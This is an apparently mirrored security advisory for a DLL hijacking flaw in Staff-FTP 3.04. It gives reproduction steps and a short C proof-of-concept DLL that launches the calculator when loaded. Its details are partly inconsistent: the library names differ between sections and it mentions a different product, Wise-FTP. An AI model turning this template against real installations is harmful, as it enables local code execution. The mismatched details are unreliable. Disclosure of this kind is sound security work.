Lucene search
+L

Staff-FTP 3.04 DLL Hijack

🗓️ 19 May 2015 00:00:00Reported by metacomType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 27 Views

Staff-FTP 3.04 DLL hijack vulnerability allows local attackers to inject code into vulnerable libraries, compromising the process and granting higher access privileges. Vulnerable version is 3.04 with netapi32.dll and dwmapi.dll affected. High risk with a CVSS score of 6.0

Code
`A local dll injection vulnerability has been discovered in the official Staff-FTP v3.04 software.  
The issue allows local attackers to inject code to vulnerable libraries to compromise the process or to gain higher access privileges.  
  
The windows software is vulnerable to dll hijacking attacks. The vulnerability is located in the netapi32.dll and dwmapi.dll file extensions.   
The software does not specify the fully qualified path to a dynamic-linked libraries (netapi32.dll and dwmapi.dll). The vulnerable version affects   
the Wise-FTP v3.04 software. The security risk of the local file include vulnerability is estimated as high with a cvss (common vulnerability   
scoring system) count of 6.0.   
  
Vulnerable Software:  
[+] Staff-FTP  
  
Vulnerable Version(s):  
[+] v3.04  
  
Vulnerable Libraries:  
[+] netapi32.dll  
[+] dwmapi.dll  
  
  
Proof of Concept (PoC):  
=======================  
The dll hijack vulnerability can be exploited by local attackers with restricted system user account and without user interaction.  
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.  
  
Manual steps to reproduce the local vulnerability ...  
1. Compile dll and rename to Linkinfo.dll or mpr.dll  
2. Copy Linkinfo.dll to C:\Program Files\Staff-FTP  
3. Launch Staff-FTP  
  
PoC: Exploit   
#include <windows.h>  
  
int alpdaemon()  
{  
WinExec("calc", SW_SHOW);  
exit(0);  
return 0;  
}  
  
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)  
{  
alpdaemon();  
return 0;  
}  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 May 2015 00:00Current
0.3Low risk
Vulners AI Score0.3
27